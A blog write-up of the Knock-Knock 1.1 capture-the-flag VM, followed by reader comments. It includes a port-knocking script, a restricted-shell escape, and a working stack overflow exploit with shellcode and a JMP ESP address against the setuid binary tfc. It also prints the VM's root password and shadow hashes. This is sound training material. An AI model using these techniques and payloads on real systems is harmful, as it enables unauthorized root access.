Address
304 North Cardinal St.
Dorchester Center, MA 02124
Work Hours
Monday to Friday: 7AM - 7PM
Weekend: 10AM - 5PM
Address
304 North Cardinal St.
Dorchester Center, MA 02124
Work Hours
Monday to Friday: 7AM - 7PM
Weekend: 10AM - 5PM
Next up on my list was Knock-Knock 1.1 by zer0w1re. This was another older VM, but since I hadn’t done anything with port knocking yet, I figured I should.
First things first, finding the IP of the VM.
root@kali:~# netdiscover -i eth0 -r 172.16.119.0/24 Currently scanning: Finished! | Screen View: Unique Hosts 3 Captured ARP Req/Rep packets, from 3 hosts. Total size: 180 ________________________________________________________________ IP At MAC Address Count Len MAC Vendor ---------------------------------------------------------------- 172.16.119.1 00:50:56:c0:00:01 01 060 VMWare, Inc. 172.16.119.138 00:0c:29:1d:8e:e5 01 060 VMware, Inc. 172.16.119.254 00:50:56:ef:65:dc 01 060 VMWare, Inc.
With the IP, ran a quick Nmap scan, but things weren’t as nice an easy as they normally were…
root@kali:~# nmap -sT -sV -O 172.16.119.138 Starting Nmap 6.47 ( http://nmap.org ) at 2015-07-22 16:22 EDT Note: Host seems down. If it is really up, but blocking our ping probes, try -Pn Nmap done: 1 IP address (0 hosts up) scanned in 3.35 seconds
After some more messing around with flags and scan types, I decided to just throw a full port scan on it and wait.
root@kali:~# nmap 172.16.119.138 -p- Starting Nmap 6.47 ( http://nmap.org ) at 2015-07-22 16:39 EDT Nmap scan report for 172.16.119.138 Host is up (0.00014s latency). Not shown: 65534 filtered ports PORT STATE SERVICE 1337/tcp open waste MAC Address: 00:0C:29:1D:8E:E5 (VMware) Nmap done: 1 IP address (1 host up) scanned in 163.92 seconds
Since I at least had one port to start with, I decided to telnet into it to see what I could find.
root@kali:~# telnet 172.16.119.138 1337 Trying 172.16.119.138... Connected to 172.16.119.138. Escape character is '^]'. [54790, 46240, 64968] Connection closed by foreign host. root@kali:~# telnet 172.16.119.138 1337 Trying 172.16.119.138... Connected to 172.16.119.138. Escape character is '^]'. [260, 41291, 6] Connection closed by foreign host.
It looked like 3 ports were given after telnetting into 1337, and based on the name of the VM, I figured it was just a simple (of course it wasn’t) port-knock.
root@kali:~# telnet 172.16.119.138 1337 Trying 172.16.119.138... Connected to 172.16.119.138. Escape character is '^]'. [18535, 36143, 29287] Connection closed by foreign host. root@kali:~# telnet 172.16.119.138 18535 Trying 172.16.119.138... telnet: Unable to connect to remote host: Connection refused root@kali:~# telnet 172.16.119.138 36143 Trying 172.16.119.138... telnet: Unable to connect to remote host: Connection refused root@kali:~# telnet 172.16.119.138 29287 Trying 172.16.119.138... telnet: Unable to connect to remote host: Connection refused root@kali:~# telnet 172.16.119.138 18535 Trying 172.16.119.138... telnet: Unable to connect to remote host: Connection refused root@kali:~# telnet 172.16.119.138 29287 Trying 172.16.119.138... telnet: Unable to connect to remote host: Connection refused root@kali:~# telnet 172.16.119.138 36143 Trying 172.16.119.138... telnet: Unable to connect to remote host: Connection refused root@kali:~# telnet 172.16.119.138 36143 Trying 172.16.119.138... telnet: Unable to connect to remote host: Connection refused root@kali:~# telnet 172.16.119.138 18535 Trying 172.16.119.138... telnet: Unable to connect to remote host: Connection refused root@kali:~# telnet 172.16.119.138 29287 Trying 172.16.119.138... telnet: Unable to connect to remote host: Connection refused root@kali:~# telnet 172.16.119.138 36143 Trying 172.16.119.138... telnet: Unable to connect to remote host: Connection refused root@kali:~# telnet 172.16.119.138 29287 Trying 172.16.119.138... telnet: Unable to connect to remote host: Connection refused root@kali:~# telnet 172.16.119.138 18535 Trying 172.16.119.138... telnet: Unable to connect to remote host: Connection refused root@kali:~# telnet 172.16.119.138 29287 Trying 172.16.119.138... telnet: Unable to connect to remote host: Connection refused root@kali:~# telnet 172.16.119.138 18535 Trying 172.16.119.138... telnet: Unable to connect to remote host: Connection refused root@kali:~# telnet 172.16.119.138 36143 Trying 172.16.119.138... telnet: Unable to connect to remote host: Connection refused root@kali:~# telnet 172.16.119.138 29287 Trying 172.16.119.138... telnet: Unable to connect to remote host: Connection refused root@kali:~# telnet 172.16.119.138 36143 Trying 172.16.119.138... telnet: Unable to connect to remote host: Connection refused root@kali:~# telnet 172.16.119.138 18535 Trying 172.16.119.138... telnet: Unable to connect to remote host: Connection refused root@kali:~# nmap 172.16.119.138 -p- Starting Nmap 6.47 ( http://nmap.org ) at 2015-07-22 16:49 EDT Nmap scan report for 172.16.119.138 Host is up (0.00015s latency). Not shown: 65534 filtered ports PORT STATE SERVICE 1337/tcp open waste MAC Address: 00:0C:29:1D:8E:E5 (VMware) Nmap done: 1 IP address (1 host up) scanned in 165.34 seconds
Since my *bang fist against door and hope for access* method didn’t work, I decided to try a more subtle (or at least more scripted) method.
#!/usr/bin/python from itertools import permutations from socket import * import sys import time server = "172.16.119.138" s = socket(AF_INET, SOCK_STREAM) s.connect((server, 1337)) data = s.recv(20) data = data.replace(",", "") ports = data[1:-2].split() print ports for iter in permutations(ports, 3): for port in iter: print "[*] Knock Knock: " + str(port) try: s = socket(AF_INET, SOCK_STREAM) s.connect((server, int(port))) s.close() except Exception,e: #print str(e) pass time.sleep(1) print "[-] Knock Complete\n" print "[+] All Knocking Complete!"
With my Python script prepared, I ran it and obtained some more open ports this time
root@kali:~# python knockknock.py ['62821', '7264', '860'] [*] Knock Knock: 62821 [*] Knock Knock: 7264 [*] Knock Knock: 860 [-] Knock Complete [*] Knock Knock: 62821 [*] Knock Knock: 860 [*] Knock Knock: 7264 [-] Knock Complete [*] Knock Knock: 7264 [*] Knock Knock: 62821 [*] Knock Knock: 860 [-] Knock Complete [*] Knock Knock: 7264 [*] Knock Knock: 860 [*] Knock Knock: 62821 [-] Knock Complete [*] Knock Knock: 860 [*] Knock Knock: 62821 [*] Knock Knock: 7264 [-] Knock Complete [*] Knock Knock: 860 [*] Knock Knock: 7264 [*] Knock Knock: 62821 [-] Knock Complete [+] All Knocking Complete! root@kali:~# nmap 172.16.119.138 Starting Nmap 6.47 ( http://nmap.org ) at 2015-07-22 19:19 EDT Nmap scan report for 172.16.119.138 Host is up (0.00028s latency). Not shown: 998 filtered ports PORT STATE SERVICE 22/tcp open ssh 80/tcp open http MAC Address: 00:0C:29:1D:8E:E5 (VMware) Nmap done: 1 IP address (1 host up) scanned in 18.08 seconds
I figured that HTTP would be my best bet, so I pulled up the home page.
Unfortunately, I was unable to get any more information for dirbuster, the source, or anything else existing, so I decided to take a closer look at the image file.
root@kali:~# wget http://172.16.119.138/knockknock.jpg --2015-07-22 19:21:52-- http://172.16.119.138/knockknock.jpg Connecting to 172.16.119.138:80... connected. HTTP request sent, awaiting response... 200 OK Length: 84741 (83K) [image/jpeg] Saving to: `knockknock.jpg' 100%[======================================>] 84,741 --.-K/s in 0s 2015-07-22 19:21:52 (350 MB/s) - `knockknock.jpg' saved [84741/84741]
After various attempts to find information in the image file, strings gave me a section that appeared to be login credentials, so that was a great start.
root@kali:~# strings knockknock.jpg JFIF Ducky http://ns.adobe.com/xap/1.0/ <...snip...> Login Credentials abfnW sax2Cw9Ow
Unfortunately, the strange looking “credentials” didn’t actually work on the box at first glance.
root@kali:~# ssh [email protected] The authenticity of host '172.16.119.138 (172.16.119.138)' can't be established. ECDSA key fingerprint is af:79:f1:28:f4:7f:5a:d7:c4:31:9b:d9:b1:cc:05:f4. Are you sure you want to continue connecting (yes/no)? yes Warning: Permanently added '172.16.119.138' (ECDSA) to the list of known hosts. [email protected]'s password: Permission denied, please try again.
After a lot of messing around with a caesar cipher decryption tool, I finally realized that a shift of 13 (ROT-13, should have tried that sooner) gave a username of nosaJ, which was Jason reversed.
With the un-reversed credentials (Jason/jB9jP2knf) in hand, I was able to successfully login to the box.
root@kali:~# ssh [email protected] [email protected]'s password: Linux knockknock 3.2.0-4-486 #1 Debian 3.2.60-1+deb7u3 i686 The programs included with the Debian GNU/Linux system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright. Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. You have new mail. Last login: Mon Oct 6 12:33:37 2014 from 192.168.56.202 jason@knockknock:~$
Once I was actually in the system though, I was trapped inside of a restricted shell.
jason@knockknock:~$ cat /v-rbash: /dev/null: restricted: cannot redirect output bash: _upvars: `-a2': invalid number specifier -rbash: /dev/null: restricted: cannot redirect output bash: _upvars: `-a0': invalid number specifier jason@knockknock:~$ cd / -rbash: cd: restricted
To escape the restricted shell I opened up VI and set the shell variable.
jason@knockknock:~$ vi ~ ~ ~ ~ ~ VIM - Vi IMproved ~ ~ version 7.3.547 ~ by Bram Moolenaar et al. ~ Modified by [email protected] ~ Vim is open source and freely distributable ~ ~ Become a registered Vim user! ~ type :help registerfor information ~ ~ type :q to exit ~ type :help or for on-line help ~ type :help version7 for version info ~ ~ ~ ~ ~ :set shell=/bin/bash :shell jason@knockknock:~$ cd / jason@knockknock:/$ id uid=1000(jason) gid=1000(jason) groups=1000(jason),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev)
Inside of jason’s home directory, there was a set-uid root file called tfc, so that was probably the next thing I would need to exploit.
jason@knockknock:~$ ls -al total 32 drwxr-xr-x 2 jason jason 4096 Jul 23 12:51 . drwxr-xr-x 3 root root 4096 Sep 24 2014 .. lrwxrwxrwx 1 jason jason 9 Sep 26 2014 .bash_history (DIR) -> /dev/null -rw-r--r-- 1 jason jason 220 Sep 24 2014 .bash_logout -rw-r--r-- 1 jason jason 3398 Jul 23 12:49 .bashrc -rw-r--r-- 1 jason jason 675 Sep 24 2014 .profile -rwsr-xr-x 1 root jason 7457 Oct 11 2014 tfc -rw------- 1 jason jason 2463 Jul 23 12:51 .viminfo
It looked like tfc was a two way encryption program that handled plain-text files with a .tfc extension.
jason@knockknock:~$ ./tfc _______________________________ \__ ___/\_ _____/\_ ___ \ | | | __) / \ \/ | | | \ \ \____ |____| \___ / \__7____ / \/ \/ Tiny File Crypter - 1.0 Usage: ./tfcjason@knockknock:~$ cat test.tfc Hello World! jason@knockknock:~$ ./tfc test.tfc out.tfc >> File crypted, goodbye! jason@knockknock:~$ cat out.tfc ��v�s��m5��' jason@knockknock:~$ ./tfc out.tfc test2.tfc >> File crypted, goodbye! jason@knockknock:~$ cat test2.tfc Hello World!
I first decided to check for a buffer overflow, which I was able to find. Unfortunately, GDB was not located on the target system.
jason@knockknock:~$ python -c 'print "A"*5000' > overflow.tfc jason@knockknock:~$ ./tfc overflow.tfc test.tfc Segmentation fault jason@knockknock:~$ gdb ./tfc bash: gdb: command not found
I moved the tfc application back over to my attacker box, and attempted to run it with a cyclical pattern to try and find the offset of EIP.
root@kali:~# scp [email protected]:tfc ./ [email protected]'s password: tfc 100% 7457 7.3KB/s 00:00 root@kali:~# ./tfc overflow.tfc test.tfc Segmentation fault root@kali:~# gdb ./tfc GNU gdb (GDB) 7.4.1-debian Copyright (C) 2012 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html> This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law. Type "show copying" and "show warranty" for details. This GDB was configured as "x86_64-linux-gnu". For bug reporting instructions, please see: <http://www.gnu.org/software/gdb/bugs/>... Reading symbols from /root/tfc...(no debugging symbols found)...done. (gdb) r overflow.tfc test.tfc Starting program: /root/tfc overflow.tfc test.tfc warning: no loadable sections found in added symbol-file system-supplied DSO at 0xf77bb000 Program received signal SIGSEGV, Segmentation fault. 0x7647ce67 in ?? () (gdb) i r eax 0x0 0 ecx 0xffffffc8 -56 edx 0x9 9 ebx 0xf7798ff4 -143028236 esp 0xffbafe40 0xffbafe40 ebp 0x3e526108 0x3e526108 esi 0x0 0 edi 0x0 0 eip 0x7647ce67 0x7647ce67 eflags 0x10282 [ SF IF RF ] cs 0x23 35 ss 0x2b 43 ds 0x2b 43 es 0x2b 43 fs 0x0 0 gs 0x63 99
Unfortunately, it looked like I didn’t actually have the control of EIP that I thought I would.
root@kali:/usr/share/metasploit-framework/tools# ruby pattern_offset.rb 0x7647ce67 50000 [*] No exact matches, looking for likely candidates...
I decided to take a step back and try to verify the overwrite of EIP with just ‘A’ to make sure that the program was executing the way that I thought it was.
root@kali:~# python -c 'print "A"*5000' > overflow.tfc root@kali:~# ./tfc overflow.tfc test.tfc Segmentation fault root@kali:~# gdb tfc GNU gdb (GDB) 7.4.1-debian Copyright (C) 2012 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html> This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law. Type "show copying" and "show warranty" for details. This GDB was configured as "x86_64-linux-gnu". For bug reporting instructions, please see: <http://www.gnu.org/software/gdb/bugs/>... Reading symbols from /root/tfc...(no debugging symbols found)...done. (gdb) r overflow.tfc test.tfc Starting program: /root/tfc overflow.tfc test.tfc warning: no loadable sections found in added symbol-file system-supplied DSO at 0xf772d000 Program received signal SIGSEGV, Segmentation fault. 0x0675c916 in ?? () Undefined command: "ir". Try "help". (gdb) i r eax 0x0 0 ecx 0xffffffc8 -56 edx 0x9 9 ebx 0xf770aff4 -143609868 esp 0xffeaec40 0xffeaec40 ebp 0xc55193b 0xc55193b esi 0x0 0 edi 0x0 0 eip 0x675c916 0x675c916 eflags 0x10282 [ SF IF RF ] cs 0x23 35 ss 0x2b 43 ds 0x2b 43 es 0x2b 43 fs 0x0 0 gs 0x63 99
Since it seemed that I was unable to overwrite EIP, I decided to see if the “encrypted” files were just some sort of simple substitution cipher. While they didn’t appear to be a simple substitution, it looked like the same sequence of characters was encoded the same way, so that should be helpful later.
root@kali:~# ulimit -s unlimited root@kali:~# ulimit -c unlimited root@kali:~# python -c 'print "A"*4000' > overflow.tfc root@kali:~# ./tfc overflow.tfc test.tfc >> File crypted, goodbye! root@kali:~# xxd test.tfc | head 0000000: def0 5bab 5df7 ab43 0690 fe64 6cb0 0b48 ..[.]..C...dl..H 0000010: 2986 416f 7467 df5c 21a2 453f e5cc 806c ).Aotg.\!.E?...l 0000020: 2bd0 0142 b5c2 2466 3525 c114 26dc 1979 +..B..$f5%..&..y 0000030: 1dd0 7c53 5b49 3b52 012e 942b 549a fe77 ..|S[I;R...+T..w 0000040: e104 0424 cd9f e437 f09c 3f69 0095 7727 ...$...7..?i..w' 0000050: d017 3307 b61e 733c 41f9 8c5e f98c 5e41 ..3...s<A..^..^A 0000060: 9a35 9167 ccf8 1f00 a809 c919 309d c241 .5.g........0..A 0000070: 8f7a 207c f8b3 7765 9a72 7417 8b1d 6f00 .z |..we.rt...o. 0000080: b137 a610 ee6c 1a61 966e 1438 0c19 e245 .7...l.a.n.8...E 0000090: c7e6 f342 abc1 9363 504c af0b 199e d551 ...B...cPL.....Q root@kali:~# python -c 'print "A"*100' > overflow.tfc root@kali:~# ./tfc overflow.tfc test.tfc >> File crypted, goodbye! root@kali:~# xxd test.tfc | head 0000000: def0 5bab 5df7 ab43 0690 fe64 6cb0 0b48 ..[.]..C...dl..H 0000010: 2986 416f 7467 df5c 21a2 453f e5cc 806c ).Aotg.\!.E?...l 0000020: 2bd0 0142 b5c2 2466 3525 c114 26dc 1979 +..B..$f5%..&..y 0000030: 1dd0 7c53 5b49 3b52 012e 942b 549a fe77 ..|S[I;R...+T..w 0000040: e104 0424 cd9f e437 f09c 3f69 0095 7727 ...$...7..?i..w' 0000050: d017 3307 b61e 733c 41f9 8c5e f98c 5e41 ..3...s<A..^..^A 0000060: 9a35 9167 87f8 1f00 a809 c919 309d c241 .5.g........0..A 0000070: 8f7a 207c f8b3 7765 9a72 7417 8b1d 6f00 .z |..we.rt...o. 0000080: b137 a610 ee6c 1a61 966e 1438 0c19 e245 .7...l.a.n.8...E 0000090: c7e6 f342 abc1 9363 504c af0b 199e d551 ...B...cPL.....Q
After a bit more pondering, I decided to see if the buffer overflow was maybe happening after the string was already encrypted. To do this, I would need to encrypt my string successfully, THEN run it back through the executable. While the application would crash on my too-long string, I was able to grab the entire encrypted text from the core dump. The 213920 bytes skipped in my DD command comes from the 00343a0 address that contains the def0 string that I knew was AA (or AAAA…) converted back to decimal. After running my second file back through the convert, I was able to overwrite EIP with some expected values.
root@kali:~# ulimit -c unlimited root@kali:~# python -c 'print "A"*5000' > overflow.tfc root@kali:~# ./tfc overflow.tfc asdf.tfc Segmentation fault (core dumped) root@kali:~# xxd core | grep 'def0' 000def0: 0bf0 6c55 14f0 6c55 1af0 6c55 e3ef 6c55 ..lU..lU..lU..lU 001def0: 0000 0000 0000 0000 0000 0000 0000 0000 ................ 002def0: 0000 0000 0000 0000 0000 0000 0000 0000 ................ 00343a0: def0 5bab 5df7 ab43 0690 fe64 6cb0 0b48 ..[.]..C...dl..H root@kali:~# dd if=core of=test.tfc skip=213920 count=5000 bs=1 5000+0 records in 5000+0 records out 5000 bytes (5.0 kB) copied, 0.00710596 s, 704 kB/s root@kali:~# ./tfc test.tfc outfile.tfc Segmentation fault (core dumped) root@kali:~# gdb tfc core GNU gdb (GDB) 7.4.1-debian Copyright (C) 2012 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html> This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law. Type "show copying" and "show warranty" for details. This GDB was configured as "x86_64-linux-gnu". For bug reporting instructions, please see: <http://www.gnu.org/software/gdb/bugs/>... Reading symbols from /root/tfc...(no debugging symbols found)...done. [New LWP 7678] warning: Can't read pathname for load map: Input/output error. warning: no loadable sections found in added symbol-file system-supplied DSO at 0x55575000 Core was generated by `./tfc test.tfc outfile.tfc'. Program terminated with signal 11, Segmentation fault. #0 0x41414141 in ?? () (gdb) q
With this information in hand, I was able to run a cyclical pattern through the application again, and figure out where the offset was. Unfortunately, getting the number of bytes to skip each time wasn’t terribly easy as the memory addresses were constantly moving around. The best advice I can give is to keep looking at the dumps and you’ll be able to figure out where they start. They are the last big chunk of text before the giant field of null values, and they start after some control codes that change, but are null padded as well.
root@kali:~# ./tfc pattern.tfc out.tfc Segmentation fault (core dumped) root@kali:~# xxd core < ... snipped ...> root@kali:~# dd if=core of=test.tfc skip=208784 count=5000 bs=1 5000+0 records in 5000+0 records out 5000 bytes (5.0 kB) copied, 0.0077573 s, 645 kB/s root@kali:~# ./tfc test.tfc out.tfc Segmentation fault (core dumped) root@kali:~# gdb tfc core GNU gdb (GDB) 7.4.1-debian Copyright (C) 2012 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html> This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law. Type "show copying" and "show warranty" for details. This GDB was configured as "x86_64-linux-gnu". For bug reporting instructions, please see: <http://www.gnu.org/software/gdb/bugs/>... Reading symbols from /root/tfc...(no debugging symbols found)...done. [New LWP 7976] warning: Can't read pathname for load map: Input/output error. warning: no loadable sections found in added symbol-file system-supplied DSO at 0x55575000 Core was generated by `Gi8Gi9Gj0Gj1Gj2Gj3Gj4Gj'. Program terminated with signal 11, Segmentation fault. #0 0x35684634 in ?? () (gdb) q
I was then able to obtain the proper EIP offset.
root@kali:/usr/share/metasploit-framework/tools# ruby pattern_offset.rb 0x35684634 5000 [*] Exact match at offset 4124
Just to make sure, I also verified that 4124 was the correct offset.
root@kali:~# python -c 'print "A"*4124 + "BBBB" + "C"*1000' > overflow.tfc root@kali:~# ./tfc overflow.tfc out.tfc Segmentation fault (core dumped) root@kali:~# xxd core | grep def0 000def0: 0bf0 6c55 14f0 6c55 1af0 6c55 e3ef 6c55 ..lU..lU..lU..lU 001def0: 0000 0000 0000 0000 0000 0000 0000 0000 ................ 002def0: 0000 0000 0000 0000 0000 0000 0000 0000 ................ 0033290: def0 5bab 5df7 ab43 0690 fe64 6cb0 0b48 ..[.]..C...dl..H root@kali:~# dd if=core of=test.tfc skip=209552 count=5000 bs=1 5000+0 records in 5000+0 records out 5000 bytes (5.0 kB) copied, 0.00738477 s, 677 kB/s root@kali:~# ./tfc test.tfc out.tfc Segmentation fault (core dumped) root@kali:~# gdb tfc core GNU gdb (GDB) 7.4.1-debian Copyright (C) 2012 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html> This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law. Type "show copying" and "show warranty" for details. This GDB was configured as "x86_64-linux-gnu". For bug reporting instructions, please see: <http://www.gnu.org/software/gdb/bugs/>... Reading symbols from /root/tfc...(no debugging symbols found)...done. [New LWP 8188] warning: Can't read pathname for load map: Input/output error. warning: no loadable sections found in added symbol-file system-supplied DSO at 0x55575000 Core was generated by `./tfc test.tfc out.tfc'. Program terminated with signal 11, Segmentation fault. #0 0x42424242 in ?? () (gdb) q
With my offset and shellcode in hand, I just needed to find a JMP ESP inside of the application to make my life easier.
root@kali:~# msfelfscan -j esp tfc [tfc] 0x08048e93 jmp esp 0x08048e93 jmp esp
With everything in place, it was time to write a python script to craft my exploit.
#/usr/bin/python shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80" buffer = "A" * 4124 buffer += "\x93\x8e\x04\x08" # jmp esp buffer += shellcode buffer += "\x90" * 128 print buffer
Before moving this back over to the VM, I verified that it all worked together and gave me a shell.
root@kali:~# python exploit.py > exploit.tfc root@kali:~# xxd core | grep def0 000def0: 0bf0 6c55 14f0 6c55 1af0 6c55 e3ef 6c55 ..lU..lU..lU..lU 001def0: 0000 0000 0000 0000 0000 0000 0000 0000 ................ 002def0: 0000 0000 0000 0000 0000 0000 0000 0000 ................ 0033de0: def0 5bab 5df7 ab43 0690 fe64 6cb0 0b48 ..[.]..C...dl..H root@kali:~# ls -l exploit.tfc -rw-r--r-- 1 root root 4285 Jul 24 14:50 exploit.tfc root@kali:~# dd if=core of=test.tfc skip=212448 count=4285 bs=1 4285+0 records in 4285+0 records out 4285 bytes (4.3 kB) copied, 0.00578275 s, 741 kB/s root@kali:~# ./tfc test.tfc owned.tfc # exit
I then moved the exploit over, escaped the restricted shell, ran it through tfc, and obtained root.
root@kali:~# scp test.tfc [email protected]:. [email protected]'s password: test.tfc 100% 4285 4.2KB/s 00:00 root@kali:~# ssh [email protected] [email protected]'s password: Linux knockknock 3.2.0-4-486 #1 Debian 3.2.60-1+deb7u3 i686 The programs included with the Debian GNU/Linux system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright. Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. You have mail. Last login: Thu Jul 23 09:32:08 2015 from 172.16.119.128 jason@knockknock:~$ vi < ... (escape restricted shell) ... > jason@knockknock:~$ ./tfc test.tfc owned.tfc # id uid=1000(jason) gid=1000(jason) euid=0(root) groups=0(root),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),1000(jason)
Inside of the /root directory I found a sample exploit that actually encoded the information itself, which could have been another path I took (though it would have involved actually reversing the tfc binary).
#/usr/bin/python from struct import pack # /* # * Shellcode length: 49 # * Author: Chroniccommand # * /bin/dash # * My first attempt at shellcode # * Poison security # */ # #include<stdio.h> # //49 bytes # char shellcode[] = "\xeb\x18\x5e\x31\xc0\x88\x46\x09\x89\x76\x0a" # "\x89\x46\x0e\xb0\x0b\x89\xf3\x8d\x4e\x0a\x8d" # "\x56\x0e\xcd\x80\xe8\xe3\xff\xff\xff\x2f" # "\x62\x69\x6e\x2f\x64\x61\x73\x68\x41\x42\x42" # "\x42\x42\x43\x43\x43\x43"; # int main(){ # printf("Shellcode length: 49 bytes\nAuthor:chroniccommand\nPoison security"); # int *ret; # ret = (int *)&ret + 2; # (*ret) = (int)shellcode; # } shellcode = "\xeb\x18\x5e\x31\xc0\x88\x46\x09\x89\x76\x0a" shellcode += "\x89\x46\x0e\xb0\x0b\x89\xf3\x8d\x4e\x0a\x8d" shellcode += "\x56\x0e\xcd\x80\xe8\xe3\xff\xff\xff\x2f" shellcode += "\x62\x69\x6e\x2f\x64\x61\x73\x68\x41\x42\x42" shellcode += "\x42\x42\x43\x43\x43\x43" key = [0x2f,0x25,0xc0,0xa9,0x27,0xba,0x70,0x80,0xc5,0xc7,0x01,0x37,0xed,0xde,0xae,0x78] def p(v): return pack('<L', v) d = 4096 * 'A' d += 32 * 'B' # h4x@kali:~/knockknock$ msfelfscan -j esp tfc # [tfc] # 0x08048bb3 jmp esp # 0x08048bb3 jmp esp d += p(0x08048bb3) d += 28 * '\x90' for i in range(len(shellcode)): if ((ord(shellcode[i]) != 0) and (ord(shellcode[i]) ^ key[i % 16] != 0)): d += chr((ord(shellcode[i]) ^ key[i % 16]) & 0xFF) open('cbuff.txt','wb').write(d)
In addition, there was a directory called the_flag_is_in_here that contained the flag file.
# cd the_flag_is_in_here # ls qQcmDWKM5a6a3wyT.txt # cat qQcmDWKM5a6a3wyT.txt < ...(cool ascii art that breaks at lower window sizes)... > Hooray you got the flag! Hope you had as much fun r00ting this as I did making it! Feel free to hit me up in #vulnhub @ zer0w1re Gotta give a big shout out to c0ne, who helpped to make the tfc binary challenge, as well as rasta_mouse, and recrudesce for helping to find bugs and test the VM 🙂 root password is "qVx4UJ*zcUdc9#3C$Q", but you should already have a shell, right? 😉
Even with the user and root passwords, I decided to grab the shadow file (could still be useful for testing password crackers etc.)
# cat /etc/shadow root:$6$8ybU99D0$DPgATwHBCIpigzKiC5Ez9WAvruQJ/W9kyIbjo31G0g7uLgEYDDbtQLEDgHqOKdWpB5lJjzrn9RhQgDpY5fdnX.:16354:0:99999:7::: daemon:*:16338:0:99999:7::: bin:*:16338:0:99999:7::: sys:*:16338:0:99999:7::: sync:*:16338:0:99999:7::: games:*:16338:0:99999:7::: man:*:16338:0:99999:7::: lp:*:16338:0:99999:7::: mail:*:16338:0:99999:7::: news:*:16338:0:99999:7::: uucp:*:16338:0:99999:7::: proxy:*:16338:0:99999:7::: www-data:*:16338:0:99999:7::: backup:*:16338:0:99999:7::: list:*:16338:0:99999:7::: irc:*:16338:0:99999:7::: gnats:*:16338:0:99999:7::: nobody:*:16338:0:99999:7::: libuuid:!:16338:0:99999:7::: Debian-exim:!:16338:0:99999:7::: statd:*:16338:0:99999:7::: sshd:*:16338:0:99999:7::: jason:$6$b9cjUN.f$6O4qCLqDWsBItBGPAWWi5DT4Yfb4E7VUTuD96SocALZW.fObUUBM1E5u3.1LmDJVtS.c9PhCJLnhWjmwV4Yur.:16338:0:99999:7:::
Ray Doyle is an avid pentester/security enthusiast/beer connoisseur who has worked in IT for almost 16 years now. From building machines and the software on them, to breaking into them and tearing it all down; he’s done it all. To show for it, he has obtained an OSCE, OSCP, eCPPT, GXPN, eWPT, eWPTX, SLAE, eMAPT, Security+, ICAgile CP, ITIL v3 Foundation, and even a sabermetrics certification!
He currently serves as a Senior Staff Adversarial Engineer for Avalara, and his previous position was a Principal Penetration Testing Consultant for Secureworks.
This page contains links to products that I may receive compensation from at no additional cost to you. View my Affiliate Disclosure page here. As an Amazon Associate, I earn from qualifying purchases.
Great write up!
I got most of the way through on a similar path – until i got to the bof and shellcode and kept facing segfaults. I then referred to your write up, and wow! awesome detail!
Your shellcode works perfectly!
The shellcode i was using was: http://shell-storm.org/shellcode/files/shellcode-827.php
Not sure why, but this didn’t work (actually tried several) though, yours did…
Any ideas on that?
Thanks again!
Thanks, and I’m glad you appreciated it!
Yea, it was definitely a tricky one, but I’m glad to have helped.
So, this was definitely an interesting question, and I decided to take a deeper look into it myself. My first attempts ended up with the same issue you saw, segfault with your shellcode (but mine still worked).
After re-encoding everything I noticed the two differences. My ESP started at the VERY beginning of my shellcode, whereas yours had 20 bytes of “garbage” in front of it:
At first I thought this was because a shellcode of length 28 + the rest of my buffer made the entire payload divisible by 4, but even making the entire buffer divisible by 4 using the “bad” shellcode didn’t work. That turned out to not be the issue, and I was still running into segfaults.
After some more debugging, I realized that those 20 bytes of garbage were ending up on the stack AFTER the jump was hit:
It looks like Hazma’s shellcode might be attempting to use a register that we do not have the ability to overwrite, so let’s check that out…
Ah ha, ECX contains those 20 bytes of garbage we were seeing, and the “mov %esp,%ecx” line in Hamza’s shellcode explains why his doesn’t work and the other one does.
All in all, an interesting learning experience, and I’m glad I tried to figure out why it wasn’t working! (That said, this also reminded me that my assembly DEFINITELY needs work)
Aha, makes perfect sense. I’m glad you got further than i did (which also goes to show my asm and gdb debugging needs work).
I suspected there was something going on to that effect, but couldn’t get to it. I should of examined $esp a little further, with a breakpoint as you did, certainly made more sense when seeing that.
Thanks – you definitely just taught me something!